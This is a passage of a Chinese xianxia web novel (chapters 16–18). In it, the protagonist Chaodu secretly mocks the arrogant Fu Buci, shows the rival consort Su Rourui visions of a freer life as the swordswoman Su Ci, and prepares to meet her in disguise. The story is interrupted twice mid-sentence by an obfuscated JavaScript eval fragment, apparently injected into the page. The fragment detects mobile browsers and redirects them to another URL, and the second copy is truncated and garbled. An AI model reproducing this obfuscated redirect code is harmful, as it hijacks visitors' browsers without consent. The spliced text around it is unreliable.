朝渡轻笑:“你现在练山海剑法足矣,山海剑法算是不错的剑法,而且剑法的本质都是相通的。” 朝渡听到另一个自己在心里怀疑:“她该不会是懒得教我新的吧?”唔,也算猜中了一点点……不过她现在的确适合山海剑法,先复习一下已经会的,找找当年的手感。 另一个朝渡没有直接问出来,只是答了“好”,随后又紧张道:“不过我好像连这个也记不太清了,毕竟这么多年了……” “这个好说。”朝渡从识海中翻出关于山海剑法的记忆,直接在手中凝了本书,每页都详细批注了自己的心得经验。 另一个朝渡欣喜地接过这本剑法,翻开第一页开始练剑,朝渡看了一会,点评道:“有模有样的,还挺不错。” “真的吗?”另一个朝渡高兴极了,挥剑更有劲了。 朝渡又看了一会,道:“就这样练,你先练着,我出来走走。” “你要去哪?”另一个朝渡问。 朝渡望向窗户,问:“苏柔蕊住哪?我想去见见她。” “好好好!你快去吧!”另一个朝渡更开心了,“这个贱,额,柔蕊她住在柔花庭,在琴瑟宫的南边。” 朝渡听见柔花庭,想起苏柔蕊在成为苏刺前,好像确实有“柔花仙子”之称,据说那时的她,可召春风,能令百花绽放,所过之处香气三日不散,还会有花瓣散落。 在成为苏刺后,她也很爱花,在琼花谷养了一片仙境般的花海,不过不轻易给外人展示。只有得到她认可的好友才能进入,朝渡很荣幸在那片花海仙境里与她一起饮茶赏花。 “那我过去了。”朝渡道。 “快去吧快去吧!祝你顺利!”另一个朝渡真心实意地祝福道。 朝渡头疼地挥了挥手,穿墙跃上屋顶,闲庭信步地走在一排排屋脊上,一边观察周围的布局,寻找着“柔花庭”,一边思索着,对于现在的苏柔蕊而言,什么算是“帮”?应该怎么“帮”? 甲之蜜糖乙之砒霜,对于不同时期的人而言也是一个道理。对于现在的苏柔蕊而言,她的“帮”也许反而会“害”到她,一定要慎之又慎,最好能先搞明白这个苏柔蕊自己的想法。 不久后,一缕香风扑面,一处繁花似锦,美若仙境的庭院映入朝渡眼帘。 错不了,那个应该就是柔花庭了。 朝渡又走了几步,忽然停下了脚步:那庭院里有两个人,一个是苏柔碎,另一个是傅不辞。 好巧,他也在。 16. 礼物 柔花庭内不见侍从,只有苏柔蕊和傅不辞正在开满粉紫凤蝶花的亭子里把酒言欢,亭旁有几丛烟霞般的珠光海棠,还有一池散着微光的紫金睡莲。 亭中两人凑得很近,苏柔蕊又是给傅不辞斟酒,又是夹菜直接喂到他口中,十分暧昧亲昵。 朝渡听力卓越,还能听到俩人聊天: “今天那人着实可恨,我一定得杀了他!”是傅不辞的声音。 朝渡琢磨了一下,觉得傅不辞口中的可恨之人应该就是自己,哟,她才来不到一天,已经进了他的必杀名单了? 不过毕竟关乎性命,那她可得好好听一下他的大计了。 朝渡轻盈地几个起落跳跃,如风般穿过数重警戒防御的阵法,落到了柔花庭北边的紫晶藤萝花架上,正对着那缠满花的凉亭。 但见苏柔蕊奉上一杯酒,劝道:“仙君息怒,那人哪里是仙君的对手?不过是会故弄玄虚罢了,他若有真本事,何必躲躲藏藏,不肯现身?” 傅不辞赞同道:“没错,不过是一无能鼠辈!他有本事现身啊!” 朝渡思索起来,她的隐匿应该没出问题吧?这听着怎么那么像引她现身的激将法呢?还是说这俩人平时交流起来就喜欢把对手贬低成鼠辈,仿佛这样他这只猫就已经不战而胜了。 不过她没想到傅不辞胆子这么小,她都没现身,就能把他吓成这样了,他这胆子可不像猫,倒像鼠。 又听傅不辞道:“他就算不现身,我也有办法找到他!” 苏柔蕊赶紧称赞道:“不愧是仙君!不知是什么好法子?” 朝渡起了兴趣,仔细聆听。 傅不辞得意地晃了晃酒杯,笑道:“我已经让岑岭去把观星宗的掌门言可叫了过来,明日就能抵达,以言可的算卦本事,他藏不了一点,他的姓名方位,老婆孩子,过往未来都能给算得清清楚楚!” 朝渡:哟,这么厉害,那她也有点期待了。 苏柔蕊欣喜道:“如此一来,定能将这只不自量力的老鼠逮住!” “没错!”傅不辞说着,将酒一饮而尽,舒服地呼了口气,“他死定了!剑仙只能是我,第一个成仙的也只能是我!” 朝渡心道您的心愿好像通过做梦比较容易实现,也只有通过做梦才能实现,要不你想想办法把织梦使复活吧。 “那是自然。”苏柔蕊又给他把酒添满,柔柔将酒杯递给他,笑容娇媚,“您可是当之无愧的天下第一!他哪能跟您相提并论!” 傅不辞眯起眼睛,没有接酒杯,反而将手搭在苏柔蕊的腰上。 苏柔蕊顺势倒在了他的怀中。 两人眼神愈发火热缠绵。 朝渡感觉接下来要发生的可能不适合她看了,不过,她还有个礼物没送出去呢。 朝渡抬手,手中浮现出重剑无怜。 她单手提着几百斤的重剑,像提了一片羽毛,毫不费力,优雅从容。 她向“羽毛”里注入了一丝灵力,随后,她将这片“羽毛”掷向院中凉亭。 庞大沉重的无怜重剑竟似一枚轻巧飞快的暗器,眨眼间直奔凉亭中的“天下第一”! 不过在下一瞬,一道剑气飞出凉亭,将重剑打偏,使重剑插到了一旁的池水中,掀起一丈多高的浪花,惊扰了满池睡得静谧安详的紫莲。 在苏柔蕊的惊呼声中,一道持剑的人影闪现到了朝渡面前。 是衣衫已经略有不整的傅不辞。 他飞速挥剑斩向隐身的朝渡,朝渡微扬嘴角,稍微一躲,便站在一旁不过一丈外,看傅不辞失了目标,咬牙切齿。 “我知道是你,有本事你现身啊!”傅不辞怒道。 朝渡笑了笑,故意漏出一缕气息,引得傅不辞飞速再次出剑。 傅不辞的剑气又快又准,势如狂虎怒豹,如果切入地面能有数丈深,哪怕不甚碰到一点也是致命,但此刻却轻轻悬于苏柔蕊种出的仙花之上,如同被冻结成冰,还散发着淡淡的微光。 傅不辞看着那段浮空的微光,眉头渐渐蹙起。 朝渡悠闲惬意,背着手,再次故意泄出一缕气息又隐匿起来,看傅不辞再次出剑,更迅猛更锐利的剑气同样被冻结。 朝渡不给傅不辞深思的时间,快速反复地出现又消失,引得傅不辞不断出剑却一无所获,只能愈发暴躁愤怒。 “躲躲藏藏,狗狗祟祟,你就这般见不得光吗!”傅不辞怒问,语气中有一丝不易察觉地惊慌。 至今为止,他的所有剑气,要么被拦在空中冻结成“冰”,要么如泥牛入海不见踪影,根本没有伤到那人分毫! 朝渡但笑不语,看着庭院中的道道微光,满意地点了点头。 随后,她最后一次故意泄露气息,将傅不辞引到了凉亭顶上,方便他看他自己留下的杰作。 傅不辞站在凉亭顶上,再察觉不到那人的气息,目光凝重地仔细观察庭院,忽然发现庭院半空中歪歪斜斜的剑气痕迹,从这个角度看,竟组成了有点潦草的三个字: 你不配。 傅不辞:“……!!!” 他发出一声愤怒的嘶吼,才终于意识到自己被耍了! 他都能想象到对方轻蔑的目光和语气,再回想方才的“交手”,发现对方压根不是不小心泄露气息,而是在如猫玩老鼠般戏弄他! 可刚才两人“交手”的速度太快,那人甚至瞬息间便换了几个位置,他也快速挥出几道锐利的剑气去进攻,加上好胜心也越来越强,他竟未察觉到这一点! “来人!来人!”傅不辞愤怒地唤来了周围的守卫——原本他们都远远守在院子外头,好不打扰傅不辞今夜的好事。 待他们来了,傅不辞看了他们一眼,又嫌弃地快速摆手挥退他们。 苏柔蕊担心问:“不让他们去搜吗?” 傅不辞冷笑:“这群废物搜不到他的,搜也是白搜。” 他闭上眼,调整气息,重新睁开眼时少了几分愤怒,多了几分冷静:“你先带人查这重剑的来源,要顺藤摸瓜查出尽可能多的线索。等言可明天到了,至少能搞清他的身份和位置。我会传信让其他几名在外执行任务的六仙侍回来,他逃不掉的。” “是,他逃不掉的。”苏柔蕊抬起手,池中睡莲忽然快速生长起来,以藤蔓般的茎缠着重剑,艰难迟缓地把它拖上了岸。 “慢!”傅不辞忽然道,他眯起眼细细打量这柄重剑,“我好像见过这柄剑……这是,无怜重剑?它应该被收在归仙阁里,怎么会被他拿到?!” 苏柔蕊:“这……” 傅不辞磨着牙,恨恨道:“他今天拿了待仙塔里的十二柄剑不够,竟然还盯上了我的归仙阁?!他把剑扔在这不就是在挑衅我吗?!快去查!看看归仙阁还少了什么!” 苏柔蕊领命正要离开,忽然见傅不辞抬手震出一道灵力,刹那间,满园半空中的“冰”悉数碎裂,还有无数砖石、繁花都被从土里炸起!尘土夹杂着砖石碎片和残花腾起一丈多高,连假山都碎成数十块石头,落得到处都是。 傅不辞犹嫌不足,又一挥手,将方才喝酒的亭子也轰成了齑粉。 原本精致漂亮,景致如画的柔花庭,顷刻间变成了一片杂乱废墟。 苏柔蕊愣在原地,身上戴的防御项链发挥作用,弹出一道光圈,将那些乱土碎石隔绝在外,没有让它们砸到她身上。 她隔着光圈,茫然心疼地环顾四周,小心翼翼地问:“仙君,这是……” “这些痕迹不能留,连带这园子都看着心烦。”傅不辞发泄完了,长长呼出一口气,舒心多了。 他看向仍然呆在原地的苏柔蕊,蹙了蹙眉,冷声问:“你怎么还不快去?” 苏柔蕊收起光圈,张嘴欲言却先呛了一口浮土,好一阵咳嗽才缓了过来,小声道:“这些花……我养了很多年……” “不过几朵花。”傅不辞不屑道,“你想要什么,再找人去寻就是了,园子也给你换一个新的。” 过了好几息,苏柔蕊才垂着眼,缓缓点了头。 “那就快去吧。”傅不辞催道,“别耽误正事。” “是。”苏柔蕊低着头答道,随后她俯下身,拾起落到脚边的一朵残破海棠,将花收到袖中,转身向门口走去。 待走到柔花庭门口,她又忍不住回头,深深看了一眼已化为废墟的庭院,眼中依稀有泪光。 等苏柔蕊的身影消失在门口,傅不辞摇了摇头,讽笑道:“没出息,几朵破花而已。” 他拂袖离开这片狼藉废墟,不屑再看第二眼。 …… 苏柔蕊召来她的侍女亲信,又点了几个归仙阁的掌事一起核查藏物清单,很快便查完了。 缺的只有那把重剑,消失的无影无踪,没找到任何线索,甚至不知是何时消失的。 但巧的是,今天朝渡居然来过,还取走了一把剑。 若是平常,苏柔蕊定要盯着朝渡大做文章,哪怕跟朝渡没关系,她必然得造出点关系来把朝渡拖下水。 但今天她忽然不想这么做了,她扫了一眼朝渡的名字,合上了册子,疲惫如潮水袭来,将她紧紧包裹吞噬,令她快要喘不过气来。 太累了。 她步伐飘忽地回到柔花庭,傅不辞已经不在,只有满目狼藉的废墟。 她细心呵护精心照料这些珍贵的花儿多年,才养出这么一片仙境般的庭院,今天没被那刺客损伤多少,傅不辞的剑气更是全部浮空或消失,可整片庭院却被傅不辞在一念之间毁了个稀巴烂,一点没剩。 她不自觉地走进庭院,又呆呆地站住,想坐下怀念片刻,都没有一片完整干净的地方留给她。 想抱怨,既无法抱怨,也无人可抱怨——傅不辞只会嫌她啰嗦无能没出息,而被他嫌弃的下场,她已经在朝渡身上见过了。 说来可笑,当年她十分羡慕傅朝二人的伉俪情深,以至于对家族派给自己的任务没什么底气信心。 连她自己都没想到,她竟成功了,那么轻松就成功了。 意识到自己成功时,苏柔蕊说不清自己那时的心情,究竟是得意喜悦,还是绝望害怕。 那般万人羡慕的神仙眷侣,居然风一吹就散了。 苏柔蕊站在一片花圃废墟前,疲惫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586963|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挥了挥手:“你们去找找仙君去哪了,我在这歇会。” 她身旁的侍女散开。 苏柔蕊独自站在废墟中,呆呆地望着曾经的“仙境”,忽然发现原本的睡莲池旁有什么东西在土下闪烁。 她疑惑地走过去,抬手唤池中残存的睡莲将那闪烁的东西从碎石乱土中拉出来。 “无怜重剑?”她讶然道,傅不辞竟然没把它带走,看来他没多在乎这把剑。 也是,傅不辞不怎么用重剑,这把剑虽然也在名剑榜上,但因为用重剑的人不多,所以并没有多少人渴求它。 她忽然有些怜惜它:因为榜上有名,被傅不辞收藏,因为它藏于归仙阁,被那个不知名的人拿来偷袭挑衅傅不辞,最后被扔在这里,无人问津。 ……跟她好像,同样身不由己,同样没人问过自己的意愿,同样是棋子。 她仿佛已经在这柄剑上看到了她的未来。 她苦涩自嘲地笑了笑,取出袖中那朵残破的海棠花,轻轻放到了无怜重剑落满尘土的剑身上。 残花弃剑,倒是相称。 说起来,小时候她还挺喜欢重剑的,重剑看起来威风凛凛,气势非凡,没人能忽视一把庞大的重剑,也不敢轻视重剑的主人。 如果她有一把重剑,就可以守护她精心养出来的那些可爱花儿,不会让它们被家族当成礼物随意送来送去了吧,就可以守护她自己,不会变成棋子了吧。 可是,她的家族不让她碰这种“凶悍”的武器。 她要做的,只是当好柔花仙子,等一位位高权重的“仙君”来守护她。 她讥讽地牵了牵嘴角,眼中隐约有泪光,指尖拂过落满尘土的重剑:“你无缘遇见一个好主人,我也无缘拥有一柄属于自己的重剑……?!” 无怜重剑的光芒骤然明亮数倍,将她的视野悉数笼罩,刹那间,无数画面与声音如泡影般,接连不断浮现在她眼前。 “试试吧,一辈子很长,给自己一次机会,去做你真正想做的。” 一个有点耳熟的声音说道,一双手将无怜重剑递给了一个衣着华美,面若海棠的少女。 “这个女孩,是我?!”苏柔蕊愕然,“这是什么时候的事?!难道是幻境?” 苏柔蕊眼看着“自己”艰难地接过了无怜重剑,明明拿都拿不稳,却紧紧握住剑柄不放松。 接下来,“自己”在一处日夜停止的秘境中,与那声音的主人一同刻苦修炼剑法,原本柔嫩的双手上渐渐磨出了茧子。 “或许,想得,要先舍。”那个有点耳熟的声音说道。 “我明白,愿我舍后,确能得我想得。”那个“自己”戴上面具,背起重剑,脊背挺拔,目光如炬,已与之前那个连剑都拿不稳的她截然不同。 “愿我苏刺,迎来新生。” 她舍弃了原本的姓名,舍弃了苏家小姐的身份,舍弃了“柔花仙子”的称号,舍弃了原本修炼的“百花诀”…… 而不久后,修仙界多了一位令人闻风丧胆的“无怜重剑”,在短短的数年内名扬四海,威震四方。 ‘……这些到底是什么?!’苏柔蕊震惊困惑中,又一幕浮现她眼前: 一双手将墨玉长剑收起,对面是提着无怜重剑的“自己”,或者说苏刺。 苏刺站在那里,衣衫染血,但气定神闲,肩背挺拔,意气风发,不怒自威。 那个有点耳熟的声音笑吟吟地唤苏刺:“无怜剑主,好生厉害!看来,苏家的少主要有新人选了。” ‘苏家的少主?!’苏柔蕊愕然,她从来没敢奢想过那个位置。 而画面中的“自己”竟然镇定地点了点头,还摘下了染血的面具。 面具下是一张与苏柔蕊形似但神不似的面容:五官仍然明丽,但比之曾经,更加舒展从容,眉目间多了几分锐利的锋芒。 “自己”嘴角微扬,意气风发,势在必得地答道:“正有此意,苏家那些无能之人该歇歇了。” 逐渐黯淡的光芒中,又一幕画面浮现出来,还是那个有点耳熟的声音,笑吟吟道:“新仙盟组成,苏家少主可得来给我帮帮场子。” 那个人伸出手,苏刺将手搭上去,回握住她,同样笑道:“那是自然,对了,我在琼花谷养了些花,你想去看看吗?” “好啊,荣幸至极。”那个有点耳熟的声音答道。 下一瞬,染紫熔金无边晚霞,美若仙境的广袤花海一起跃入苏柔蕊的眼前。 那是她梦寐以求的,一片只属于自己的花海,里面种满了她喜爱的花……不是要由家族送出去的礼物,而是只属于她,由她守护。 苏柔蕊呆呆地望着这片美梦般的花海,以至于当光芒完全消失时,她不自觉地伸手想要挽留。 可梦是留不住的。 不对,这是梦吗?这到底是什么? 是谁针对她设下的幻境吗?梦中那个颇为耳熟的声音到底是……?! 苏柔蕊愣住,她忽然想起来了,这分明是朝渡的声音!!! 虽然音调语气与平时她认识的朝渡颇为不同,可这的确是朝渡的声音! 17. 新邻居 ‘不,也许只是声音很像……’苏柔蕊又忽然想起,今天唯一一个进入归仙阁的,是朝渡。 如果是她偷偷将无怜重剑带出来,却不登记,一切都说得通了。 可朝渡绝不可能是今晚那个刺客,她可没那个本事,那刺客又是怎么从朝渡手里得到无怜重剑的? 而且,朝渡为什么要把无怜重剑拿出来? 苏柔蕊细细思索着,觉得还有另一种可能:那刺客跟随朝渡进入归仙阁,偷偷取出无怜重剑……可刚才那些幻境一样的画面里,极似朝渡的声音又是怎么回事? 苏柔蕊忽然有种感觉,或许今晚那刺客不是为了偷袭傅不辞来的,而是冲着她来的! “夫人!找到仙君了!” 侍女凌波的声音响起,苏柔蕊收起念头,却难按仍在澎湃的心潮。 那些幻境,仿佛是她经历的另一种人生,以那个声音极似朝渡的人的视角展现给她。 她真的能有这样的人生吗? 苏柔蕊定了定神,决定先解决眼前,回复完傅不辞再仔细思索。她问:“仙君如今在哪?” 凌波恨恨道:“仙君去了叶韵那个狐媚子那里。” 苏柔蕊:“……”只是这么一会,他就换了地方还换了人来陪。 她忽然又感觉十分疲倦,又陡然有点想笑:她不是早知道他是个什么人吗?她还在期待什么?要变成朝渡那副可怜模样吗? “我有些累了,仙君此刻应该也不想被打扰。”苏柔蕊安排道,“凌波,你帮我写封信交给仙君吧,就说归仙阁那边只缺了无怜重剑,其它什么都没少。” 凌波应了是,又周全地问:“要提朝夫人今天去过归仙阁的事吗?” 苏柔蕊垂眸看着无怜重剑,沉默片刻,摇头:“不必提了。” “要把这柄剑送到归仙阁吗?”另一个侍女菡萏贴心问。 “不用。”苏柔蕊毫不犹豫地再次摇头,手指搭上了布满尘土的剑柄,用力握住,可惜什么都没再出现。 不过刚才那些飞快闪过的那些场景画面,她已经毕生难忘。 她甚至有种荒谬的念头:也许那些画面都是真实发生过的,是那个声音极似朝渡的人真实见过的。 无论如何,她要想法子把这柄重剑留下来。 “不过您今晚在哪休息?”菡萏关心道。 苏柔蕊想了想:“我记得逢春轩还空着,我先住那边吧。” “逢春轩?那里好像离朝夫人的琴瑟宫很近。”菡萏轻声提醒道。 凌波补充:“不是很近,是已经挨着了。” 苏柔蕊笑了笑:“要的就是这个位置。” 两个侍女先是一愣,继而菡萏恍然大悟:“搬到琴瑟宫旁边盯着朝渡,不愁她不犯错!然后咱们就能找到机会把朝渡赶出来了,接着就是咱们搬进去!主上英明!” 凌波摩拳擦掌,笑得有点可怕:“桀桀桀,主上放心,朝渡的好日子到头了!” 苏柔蕊:“……”她的目的跟这两位想象得好像不太一样。 如果是以前,她或许会这样打算。 但现在,她只想知道朝渡跟这把重剑,还有自己看到的那些画面景象到底有什么关系。 那些画面,究竟是编织的幻境,还是某人真实的回忆? 那些究竟是否是她可能拥有的人生?! …… 朝渡悠闲溜达着回到了琴瑟宫的偏殿。 偌大且空荡荡的明亮偏殿里,另一个朝渡还在练剑,剑法比刚才又熟练了不少,效果不错。 朝渡落到另一个自己身旁,后者见到她开心地打招呼,满怀期待地问:“怎么样?她变成苏刺了吗?” 朝渡失笑:“哪那么容易。” “好吧。”另一个朝渡有点失望。 朝渡问她:“剑练得怎么样?” “还可以,重练山海剑法比我想象的轻松点。”另一个朝渡说着,用朗月剑挽了个好似浪花的剑花。 “可能因为今天在待仙塔第十层里找到了些手感,也可能因为我跟朗月剑很有缘分,明明是第一次用,但特别顺手,嘿嘿。”另一个朝渡眼睛明亮,笑容羞涩欢喜。 朝渡也笑了笑:“嘿嘿,那就行。” 另一个朝渡不可思议:“……你学我!” “学无止境,我怎么不能学?”朝渡找了个对着窗的角落坐下打坐,闭着眼道,“你继续练,累了就休息,不急。” “好!”另一个朝渡将浮在空中的山海剑法翻到下一页,仔细看了一遍,继续练剑。 两人各自修炼,直到一个侍女忽然敲响了偏殿的门:“夫人!夫人!您休息了吗?有点急事!” 另一个朝渡收起剑,打开门:“回心,这么晚了,什么急事?” 朝渡也好奇地睁开眼望过去,但见回心急迫道:“苏仙侍搬到咱们隔壁的逢春轩了!她肯定是来找咱们麻烦的!” 另一个朝渡先是一愣,继而猛地朝朝渡看过去。 朝渡无辜地摊了摊手。 “夫人,您在看什么?”回心跟着望向偏殿里。 “没有,什么都没看。”另一个朝渡本能地挡住门,又想起其他人看不见朝渡,微微放松了些,问道,“我只是在想,好端端地那个贱人怎么忽然搬过来了?!” 回心激动道:“我听说今晚仙君在苏仙侍的柔花庭遇袭了!仙君跟那刺客打得可激烈了!把整个柔花庭都掀了个底朝天!不知道那刺客什么来头,居然这么厉害!” 另一个朝渡掐住掌心,控制住自己不要回头看朝渡。随即她忽然反应过来另一件事:“仙君今晚又在那个贱人那里?!” 回心叹道:“是……” “可恶的贱人!就会勾引不辞!”另一个朝渡气得一拳打到门框上,不过除了手肿了一点,门框摇都没摇。 另一个朝渡疼得倒吸了口凉气,抽着气安排道:“回心,嘶,你先出去吧,盯着点隔壁逢春轩的动静,她肯定是冲我来的!让回意照顾好忆昔,不能让逢春轩的人靠近忆昔半步!” 朝渡竖起耳朵听到现在,听到另一个侍女叫回意时,没忍住叹了口气:回心,回意,还有忆昔,她这些年的生活里好像只剩下傅不辞一个人了。 等回心离开后,另一个朝渡冲向朝渡,激动问:“你去的时候,不辞真的在苏柔蕊那里?” 朝渡轻叹:“你何必明知故问。” 另一个朝渡锲而不舍地追问:“那他们当时是在……” 朝渡:“……唔,喝酒吧。” 另一个朝渡猛地松了一口气:“那就好那就好,只是喝酒。哎,那你怎么跟不辞打起来了?不辞受伤了吗?” 朝渡似笑非笑地看她。 另一个朝渡猛地咳嗽了一声,赶忙上下打量朝渡:“你受伤了吗?你看起来没受伤……难道你真的比不辞更厉害?!” 朝渡颔首:“那是自然,看看他那沉迷酒色的样子。而且那庭院被翻个底朝天可不是我干的。”她已经把他的剑气都冻结于空,或者用法宝直接收起来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594112|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那是谁干的?”另一个朝渡不解。 “这得问傅不辞了吧。”朝渡一声轻笑,“他自己写的字,怎么自己还看不得了?” “写字?什么字?”另一个朝渡诧异问,“我不记得他爱好写字?对了,你俩到底怎么打起来的?” 朝渡将经过娓娓道来:“我去送剑,傅不辞也在,不但自称天下第一,还扬言要拿我的命,我就跟他切磋了几招,切磋时他的剑气在空中留下的痕迹,正好组成了几个字。” 另一个朝渡:“什么字?” 朝渡轻笑:“你不配。” 另一个朝渡一愣,猛一听还以为自己被骂了,继而反应过来是他被骂了。 她震惊:“你……好胆气,应该好多年没人敢当着他的面这样挑衅他了。” 朝渡点头:“是呀,可给他气坏了,气得他大叫,像只猴子。” 另一个朝渡想到那个画面,噗嗤一声笑了出来:“让他去苏柔蕊那个贱人那里!你教训得好!哎,那他受伤了吗?” 朝渡:“……没。你这,唉。”所谓又爱又恨就是如此了吧。 “没受伤就好。”另一个朝渡明显松了一口气。 朝渡忍不住提醒道:“你还不如担心担心咱俩。” “咱俩?咱俩咋了?”另一个朝渡一愣,继而反应过来,“哦!是怕他们从那个重剑查到我们身上吗?嘶,这可怎么办……” “不止。”朝渡看向窗户,视线穿透木窗,看到了窗外天边的繁星,它们静静闪烁,默默诉说着命运的安排。 可命运从来无常,此方的星空,能够预测到她这个彼方来客吗? “傅不辞把观星宗的掌门喊来了,明天就到,此人极其擅长占卜”,朝渡叮嘱道,“你记着,无论他卜出什么样的结果,你都一口咬定,不认识我,也不曾见过我。” 另一个朝渡愣了愣,担忧道:“那你不会有事吧?” 朝渡欣慰地笑了笑:“还算有点良心。” 另一个朝渡不满:“喂!什么叫有点?!我的良心很大的!” “好好好,我错了。”朝渡麻利认错,“至于我嘛,不用担心,我就算站他头顶,他也逮不住我。” “站头顶不太好吧?容易长不高的……”另一个朝渡犹豫道。 朝渡无语:“……他都多大了,还用长个吗?而且这就是打个比方!” 另一个朝渡顽皮地笑了笑:“那我继续练剑了!” “好。”朝渡闭上眼,继续打坐,以天地灵气补充自身灵力。 两人各自修炼,直至第一缕曦光穿破云层,照亮黑夜。 天亮了。 偏殿的门再次被敲响。 另一个朝渡收起剑打开门,发现是一脸急迫的回心,跟昨晚情形颇为相似。 回心指着逢春轩的方向,激动道:“夫人,不好了!苏仙侍要请您和小姐去用餐!说是拜会下新邻居!” “……她搁这装什么装!”另一个朝渡无语又恶心,“认识这么多年,还新邻居,呸!而且大家都是修仙人,除了小孩早辟谷了,还吃什么饭!她就是想着法祸害我和忆昔,不去!” “可她还说,您不去的话,她来这也行。”回心发愁道,“您说,她这到底打算使什么歪招?” “我也不知道啊!这贱人歪招太多了!”另一个朝渡心里焦急,不断用眼角余光偷看朝渡。 朝渡从容开口:“见见也行,看看她打算干什么,或许跟昨夜我送的礼物有关。有我在,不用怕。” 18. 朋友 听了朝渡的话,另一个朝渡猛地放松下来,安排道:“那我过去吧,不用叫忆昔,我见她就行,让回意一定照顾好忆昔!千万别让忆昔过来!” 朝渡笑道:“不用这么如临大敌,也许苏柔蕊这次的目的跟以前不一样了呢?” 等回心离开后,另一个朝渡好奇问:“你昨晚怎么劝她当苏刺的?” 朝渡站起身,伸了个懒腰,慵懒道:“我只是给她看了些我关于苏刺的记忆,一会你顺其自然就好,有些问题回答不上也无妨。唔,还有个事得盯一下。” 朝渡往左边走了一步,原地竟还留下了另一个她! 第三个朝渡对另一个朝渡挥手打了个招呼。 另一个朝渡愣愣地也挥了挥手:“这是?” “傅不辞要请人占卜我,我当然得去看看结果准不准。”朝渡手间凝出一柄白玉鞘赤金柄的剑,并将此剑递给了第三个朝渡。 第三个朝渡接过剑,点了点头,随即身影消失。 “走,咱们先跟苏柔蕊去吃顿早餐!”朝渡率先走出房间,“看来她已经忍不住了,说不定昨晚彻夜未眠呢。” …… 两个朝渡一起前往隔壁的逢春轩。 苏柔蕊竟等候在门口,目光热切。 朝渡微微颔首:“看来昨夜的行动有些效果。” 另一个朝渡则浑身刺挠,如果不是有朝渡在旁边,她想掉头就走。 “朝姐姐!”苏柔蕊一个上前,热情地捉住了另一个朝渡的手,后者一个激灵,猛的抽出手往后退一步。 场面一度颇为尴尬。 朝渡轻咳一声。 另一个朝渡头皮发麻,强忍尴尬地回应苏柔蕊:“呃,苏妹妹……”表情堪称扭曲,几乎是咬牙切齿喊出这三个字的。 朝渡听到另一个自己在心里道:“不行了,快忍不住了,好想吐。” ……真是难为她了,毕竟情敌多年,恨了那么多年,加上这里的苏柔蕊害过她,她俩算实打实的仇人了。 对面苏柔蕊强撑着微笑,但一双美眸精彩地同时呈现了怀疑,茫然,无语等多种情绪。 朝渡揉了揉眉心,同另一个自己道:“你就说你有礼物忘带了,要回去一趟。” 另一个朝渡愈发眉头紧锁,朝渡听到她在心里大声质问:我还得给这个贱人礼物?! 朝渡快速解释:“一会我替你来,礼物的话,一枝花就好。” 另一个朝渡如释重负:“好好……咳,我忘了带礼物,得回去一趟。” 说罢,另一个朝渡连苏柔蕊的回应都等不及,急匆匆就往回走,走了三五步仍嫌慢,径直御风飞回了琴瑟宫内。 朝渡听到苏柔蕊旁边的侍女小声问:“她一会还回来吗?” 苏柔蕊:“……不好说。”她脸上的微笑也挂不住了,失望之情溢于言表。 朝渡也御风追上另一个朝渡。 另一个朝渡已经进入偏殿里,朝渡一现身,她就崩溃道:“我真的忍不住,一听她喊我姐姐我就想哕。感觉三年前吃的饭都能吐出来,那个贱人,她怎么好意思的!” 朝渡叹道:“此事怪我思虑不周,一会我替你去,你在这边歇会吧,我回来之前别露面。” 另一个朝渡长松一口气,连连点头:“这个容易!你可得赶快把她变成苏刺啊!” 朝渡轻笑:“这会你又大度起来,这么想帮她了。” 说着,朝渡身上的白衣陡然变成了另一个朝渡身上的石榴色锦裙。 朝渡又仔细看了另一个朝渡的面庞两眼,接下来,她的脸上多了一层妆。 “真像。”另一个朝渡认可道,“不过怎么感觉咱们俩还是不太一样,明明容貌妆容和衣服都一样……哎,我记得偏殿这间屋子里有面镜子!” 朝渡提醒:“苏柔蕊还在等。” “没事,让那个贱人多等会也没什么。”另一个朝渡拉着朝渡,掀起旁边一个房间的门口珠帘,里面的化妆台上果然摆着一面已经落灰的小铜镜。 另一个朝渡抬手,隔空点了点镜面,镜面霎时一干二净,映出了二人的面容。 “这点小法术我还是会的。”另一个朝渡笑了笑,继而仔细观察镜面中两人的脸庞,“真的很像……最大的区别就是眼睛吧?” 两个人的眼睛,一双像清澈见底的潭水,但潭水沉寂多年,潭底暗藏哀愁。 另一双眸中是纯然的从容坦荡,似朗朗清风,皎皎明月。 另一个朝渡又是挑眉又是凝目又是扬起嘴角,却怎么调整都没有朝渡的感觉。 “这……”另一个朝渡有点挫败。 朝渡拍了拍她的肩,安慰道:“我们经历不同,眼神不一样很正常,而且眼神是最难模仿的,你可以慢慢找找感觉,现在我先过去了?” “好,不过你只准给那个贱人带一枝花!”另一个朝渡忽然来了脾气,倔强道,“毕竟只是随便找个借口,不许给她带多!” “好好好。”朝渡失笑,“就一枝,喏。” 朝渡伸出手,手中凝了一枝花,花瓣明亮似橙红色火焰,花蕊纤长呈金色,乍看仿佛冲出火焰的凤,花茎晶莹剔透好似琉璃,茎上还有一些锋利的水晶刺。 另一个朝渡惊讶问:“这是什么花?我从来没见过,一定很名贵珍稀吧?不许送这个给她!” 朝渡无奈解释:“其实这个是她送给我的,在我那边的世界里。这是她精心培育出来的新品种,名为浴火。” 另一个朝渡犹豫道:“既然是她送你的……好吧。” 朝渡颔首,收起花道:“那我过去了,你记得别出门,隐身术会吧?” “会的,放心!”另一个朝渡保证道,“这段时间我不闲着,我练剑!” 